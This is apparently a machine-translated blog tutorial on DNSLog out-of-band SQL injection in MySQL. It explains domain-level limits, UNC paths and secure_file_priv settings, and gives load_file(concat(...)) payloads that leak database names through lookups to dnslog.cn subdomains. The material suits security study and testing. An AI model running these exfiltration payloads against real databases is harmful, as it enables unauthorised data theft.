当前位置:网站首页>Dnslog injection
Dnslog injection
2022-06-28 18:00:00 【errorr0】
This vulnerability is not just for SQL Inject The use of , Or use load_file() This function parses DNS Data vulnerability brought out by the .
Domain name resolution
Domain name needless to say , Anyone who knows something about computers has heard of it , I think I know something about DNS analysis This thing . Simply put, a domain name is parsed through a server to get a corresponding IP Address , And the process of parsing is layer by layer .

There are a total of 5 level , from Right to left analysis , from Right to left The domain name level is reduced . Use the dot . Split level , Low level domain names should be resolved in high-level domain names , So if a domain name is :zc1t6a.dnslog.cn , Another domain name is database.zc1t6a.dnslog.cn, The latter is resolved in the domain name higher than him ( That is, the previous domain name ) In the implementation of , This parsing leaves some parsing data , It can also be understood as carrying sensitive data out indirectly .
Because the length of each level of domain name can only be 63 Characters , So in MYSQL Got more than 63 When a character of bytes , Will be treated as a wrong domain name , There will be no action to parse , therefore zc1t6a.dnslog.cn Will not receive parsed records , So we can't get the information we want , If you encounter more than 63 I'll use it substring() Truncate read .

By the way , There is another rule in the domain name , It can only appear Numbers , Letter , Underline Data such as . So if other special symbols are included in the obtained information ,load_file() It will be considered a wrong domain name , You won't analyze it from the network . However, there are always methods, such as replace Replace , Finally, we can exchange the data back .
UNC route
In understanding UNC route Let's look at one DNSLog Inject Of payload
select load_file(concat('\\\\',(select database()),'.jtc581.dnslog.cn/abc'));there payload There is a problem that people don't understand , Namely concat() The first argument to is '\\\\' , What if you replace it with other data ? If you are interested, you can try it yourself , If you replace DNS analysis You can't bring out the data , Why? ? That's what I want to say UNC route The format of , Reading remote files requires UNC route .
UNC(Universal Naming Convention), General naming rules , Also known as the universal naming convention 、 Universal naming convention .UNC For the Internet ( It mainly refers to LAN ) The integrity of resources on Windows 2000 name .
1、UNC route Just like that. \\softer This form of network path ( That is, it is preceded by a double backslash ).
2、UNC For the Internet ( It mainly refers to LAN ) The integrity of resources on Windows 2000 name .
Format :\\servername\sharename, among servername It's the server name .sharename Is the name of the shared resource .
Of a directory or file UNC The name can include the directory path under the shared name , The format is :\\servername\sharename\directory\filename.
UNC share It refers to the sharing of network hard disk , When accessing softer The computer is named it168 Shared folder , use UNC It means \\softer\it168; If it is softer The default management share of the computer C$ Then use \\softer\c$ To express .
The command line access we use to access our network neighbors , In fact, it should be called UNC route Access method .
( above UNC The explanation comes from Baidu Encyclopedia ).
since UNC The format of is two backslashes. Why do we use four backslashes ? The answer, of course, is that the backslash has the function of escaping , So one backslash escapes another backslash , Finally, there are only two words that have the meaning of a literal backslash .
DNSLog Conditions of utilization
DNSLog Need to use load_file(), therefore load_file() Permission to use is essential ,load_file() The conditions of use are root And the configuration must have certain requirements , Use command show variables like "%secure%" Query permissions are as follows :
1、 When secure_file_priv It's empty , You can read the directory of the disk .
2、 When secure_file_priv by /, You can read the root directory / The files under the .
3、 When secure_file_priv by NULL,load_file Can't load the file .

If NULL, The modification method is as follows
windows: modify my.ini stay [mysqld] In addition secure_file_priv = ''
linux: modify my.cnf stay [mysqld] In addition secure_file_priv =''
This with into outfile and into dumpfile The conditions used are similar .
It was said that DNS analysis It is a low-level domain name that can be resolved in a high-level domain name , So if you want to learn this thing , Each of us needs to buy a domain name. That's too much trouble . Fortunately, some platforms provide us with free testing DNSLog Temporary domain name of ( It's too conscientious ).
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
Personally, I prefer the first one , Mainly more convenient .
DNSLog Injection test
Then simply test the database search 、 Look up the table 、 List 、 Check the database in the field to find out .

Use load Instructions :
select load_file(concat('\\\\',(select database()),'.xiw0zu.dnslog.cn/abc'));

Check the library 、 Look up the table 、 List 、 Checking fields is done by using conventional methods and bypassing the previous writing .

The same is true of topic making , Can be used after closing load_file() Ready to use DNSLog Inject .
Reference resources :UNC route _weixin_33924312 The blog of -CSDN Blog
UNC route _ Baidu Encyclopedia
Domain name resolution _ Soy sauce ; The blog of -CSDN Blog _ Domain name resolution rules
DNSLog Inject _ Two ladies' post it notes blog -CSDN Blog _dnslog Inject
【 Old matches strike new sparks 】DNSlog High efficiency and no echo penetration - affectionately
DNSlog Inject detailed analysis - FreeBuf Network security industry portal
边栏推荐
- 强化学习在黄页商家智能聊天助手中的探索实践
- [dark horse morning post] Tencent responded that a large number of users' QQ numbers were stolen; Weiya's husband company was fined 190000 yuan; China Evergrande is applied for liquidation; Guanxiaoto
- 听说转行软件测试只能自学,培训机构是个坑?
- Pure big resentment! Those who were discouraged from taking the postgraduate entrance examination
- Flutter tips: mediaquery and build optimization secrets you don't know
- Currency circle earthquake: earned 1million last year and lost 5million this year
- Stackoverflow 2022 developer report: PostgreSQL surpasses MySQL!
- NoSQL之Redis配置与优化(你不在南京的日子我替你吹了秦淮河的晚风)
- DNSLog注入
- TDengine  × Intel edge insight software package accelerates the digital transformation of traditional industries
猜你喜欢

How to do a good job of gateway high availability protection in the big promotion scenario

Summary and Thinking on interface test automation

MySQL high availability MHA (accidentally passed my youth)

ZABBIX monitoring of traditional operation and maintenance (you get up early, I get up early, and we will get together sooner or later)

国内怎么就做不出 IDEA 那样的产品?

Anesthesia is not as simple as "one injection". Painless, safe and comfortable anesthesia is the first choice for patients

工业数字化与新一代数字化系统设计平台----讲座

Large scale sports events and crime risks

IDC:阿里云获2021中国数据治理平台市场份额第一

ICML 2022 | transferable imitation learning method based on decoupling gradient optimization
随机推荐
2022年化工自动化控制仪表考试模拟100题模拟考试平台操作
传统运维不得不会的zabbix监控(你早起,我早起,我们迟早在一起)
IDC:阿里云获2021中国数据治理平台市场份额第一
The processor of this virtual machine supports different functions than the processor of the virtual machine that holds the state of the virtual machine
Why can't China produce products like idea?
Can data sources only be connected to Alibaba cloud cloud databases? Can't you connect the databases installed in Alibaba cloud servers?
Time effective simulation platform based on dataworks | acquisition technology
2022a special equipment related management (elevator) special operation certificate examination question bank and online simulation examination
抓包整理外篇fiddler————了解工具栏[一]
MCU modifies network hardware driver (PHY chip replacement)
Use PEGA to develop a simple RPA program
The most complete 360 software test case template without dead corners in the whole network [recommended collection]
[dark horse morning post] Tencent responded that a large number of users' QQ numbers were stolen; Weiya's husband company was fined 190000 yuan; China Evergrande is applied for liquidation; Guanxiaoto
TDengine  × Intel edge insight software package accelerates the digital transformation of traditional industries
Currency circle earthquake: earned 1million last year and lost 5million this year
How to do a good job of gateway high availability protection in the big promotion scenario
Panorama of enterprise power in China SSD industry
2022危险化学品生产单位安全生产管理人员复习题及答案
The fourth largest operator cannot be a "catfish"
Can tongdaxin open an account for stock trading? Is it safe?